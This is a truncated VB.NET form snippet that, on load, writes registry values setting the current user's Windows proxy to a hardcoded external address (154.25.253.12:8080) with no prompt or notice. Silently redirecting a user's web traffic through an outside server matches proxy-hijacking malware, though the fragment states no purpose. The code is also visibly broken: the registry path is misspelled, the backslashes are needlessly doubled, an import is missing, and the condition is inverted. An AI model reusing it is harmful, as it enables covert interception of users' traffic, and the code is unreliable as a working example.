Imports System.Runtime.InteropServices



Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Dim SystemRegistry As RegistryKey = _
    Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurretnVersion\\Internet Settings", True)

        If SystemRegistry.GetValue("ProxyEnable", 0) Then
            SystemRegistry.SetValue("ProxyEnable", 1)
            SystemRegistry.SetValue("ProxyServer", "154.25.253.12:8080")
